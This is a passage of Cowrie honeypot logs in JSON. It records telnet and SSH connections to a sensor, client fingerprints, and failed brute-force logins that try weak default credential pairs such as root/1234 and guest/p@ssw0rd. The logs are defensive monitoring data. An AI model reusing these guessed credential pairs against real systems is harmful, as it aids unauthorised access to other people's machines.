{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59892,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5a3bf0413f9","protocol":"telnet","message":"New connection: 152.42.224.71:59892 (10.17.0.5:23) [session: c5a3bf0413f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:29.537216Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59898,"dst_ip":"10.17.0.5","dst_port":23,"session":"d92e531d981b","protocol":"telnet","message":"New connection: 152.42.224.71:59898 (10.17.0.5:23) [session: d92e531d981b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:31.593522Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":42382,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7d31e9b6e03","protocol":"ssh","message":"New connection: 45.153.34.97:42382 (10.17.0.5:22) [session: b7d31e9b6e03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:31.791284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:31.797022Z","src_ip":"45.153.34.97","session":"b7d31e9b6e03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:31.936408Z","src_ip":"45.153.34.97","session":"b7d31e9b6e03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"02071979","message":"login attempt [root/02071979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:32.373556Z","src_ip":"45.153.34.97","session":"b7d31e9b6e03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:33.479037Z","src_ip":"45.153.34.97","session":"b7d31e9b6e03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59900,"dst_ip":"10.17.0.5","dst_port":23,"session":"32389d71c39a","protocol":"telnet","message":"New connection: 152.42.224.71:59900 (10.17.0.5:23) [session: 32389d71c39a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:34.000109Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":42388,"dst_ip":"10.17.0.5","dst_port":22,"session":"1daf2e5b7410","protocol":"ssh","message":"New connection: 45.153.34.97:42388 (10.17.0.5:22) [session: 1daf2e5b7410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:34.889965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:34.895304Z","src_ip":"45.153.34.97","session":"1daf2e5b7410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:34.991771Z","src_ip":"45.153.34.97","session":"1daf2e5b7410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:35.272442Z","src_ip":"45.153.34.97","session":"1daf2e5b7410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:36.374697Z","src_ip":"45.153.34.97","session":"1daf2e5b7410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.36.83","src_port":40304,"dst_ip":"10.17.0.5","dst_port":22,"session":"69f2520bb8e3","protocol":"ssh","message":"New connection: 43.153.36.83:40304 (10.17.0.5:22) [session: 69f2520bb8e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:36.744117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:36.748922Z","src_ip":"43.153.36.83","session":"69f2520bb8e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:36.820680Z","src_ip":"43.153.36.83","session":"69f2520bb8e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.81667709350586,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:36.827090Z","src_ip":"152.42.224.71","session":"3a421450b1b7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1122","message":"login attempt [root/1122] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:37.126250Z","src_ip":"43.153.36.83","session":"69f2520bb8e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:38.198229Z","src_ip":"43.153.36.83","session":"69f2520bb8e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":42402,"dst_ip":"10.17.0.5","dst_port":22,"session":"8514299c9156","protocol":"ssh","message":"New connection: 45.153.34.97:42402 (10.17.0.5:22) [session: 8514299c9156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:39.070844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:39.075597Z","src_ip":"45.153.34.97","session":"8514299c9156","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:39.171363Z","src_ip":"45.153.34.97","session":"8514299c9156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:39.469723Z","src_ip":"45.153.34.97","session":"8514299c9156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38482,"dst_ip":"10.17.0.5","dst_port":23,"session":"3983c9d7885d","protocol":"telnet","message":"New connection: 152.42.224.71:38482 (10.17.0.5:23) [session: 3983c9d7885d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:40.183056Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:40.569338Z","src_ip":"45.153.34.97","session":"8514299c9156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":58120,"dst_ip":"10.17.0.5","dst_port":22,"session":"9506a6240d59","protocol":"ssh","message":"New connection: 45.153.34.97:58120 (10.17.0.5:22) [session: 9506a6240d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:43.208706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:43.213662Z","src_ip":"45.153.34.97","session":"9506a6240d59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:43.296086Z","src_ip":"45.153.34.97","session":"9506a6240d59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localadmin","password":"localadmin","message":"login attempt [localadmin/localadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:43.773713Z","src_ip":"45.153.34.97","session":"9506a6240d59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:44.882226Z","src_ip":"45.153.34.97","session":"9506a6240d59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":58130,"dst_ip":"10.17.0.5","dst_port":22,"session":"de9055f2c78d","protocol":"ssh","message":"New connection: 45.153.34.97:58130 (10.17.0.5:22) [session: de9055f2c78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:47.473001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:47.482586Z","src_ip":"45.153.34.97","session":"de9055f2c78d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:47.573200Z","src_ip":"45.153.34.97","session":"de9055f2c78d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"p@ssw0rd","message":"login attempt [guest/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:47.973301Z","src_ip":"45.153.34.97","session":"de9055f2c78d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:49.082811Z","src_ip":"45.153.34.97","session":"de9055f2c78d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.0072922706604,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:50.526730Z","src_ip":"152.42.224.71","session":"cb2e6bc12093","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":50672,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7f8e6ace611","protocol":"ssh","message":"New connection: 45.153.34.97:50672 (10.17.0.5:22) [session: e7f8e6ace611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:51.678674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:51.698086Z","src_ip":"45.153.34.97","session":"e7f8e6ace611","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45008,"dst_ip":"10.17.0.5","dst_port":23,"session":"4716c228cf33","protocol":"telnet","message":"New connection: 152.42.224.71:45008 (10.17.0.5:23) [session: 4716c228cf33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:51.993521Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:53.201267Z","src_ip":"45.153.34.97","session":"e7f8e6ace611","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:53.876437Z","src_ip":"45.153.34.97","session":"e7f8e6ace611","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:55.004307Z","src_ip":"45.153.34.97","session":"e7f8e6ace611","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":50676,"dst_ip":"10.17.0.5","dst_port":22,"session":"99397aa518f8","protocol":"ssh","message":"New connection: 45.153.34.97:50676 (10.17.0.5:22) [session: 99397aa518f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:55.868992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:55.875137Z","src_ip":"45.153.34.97","session":"99397aa518f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 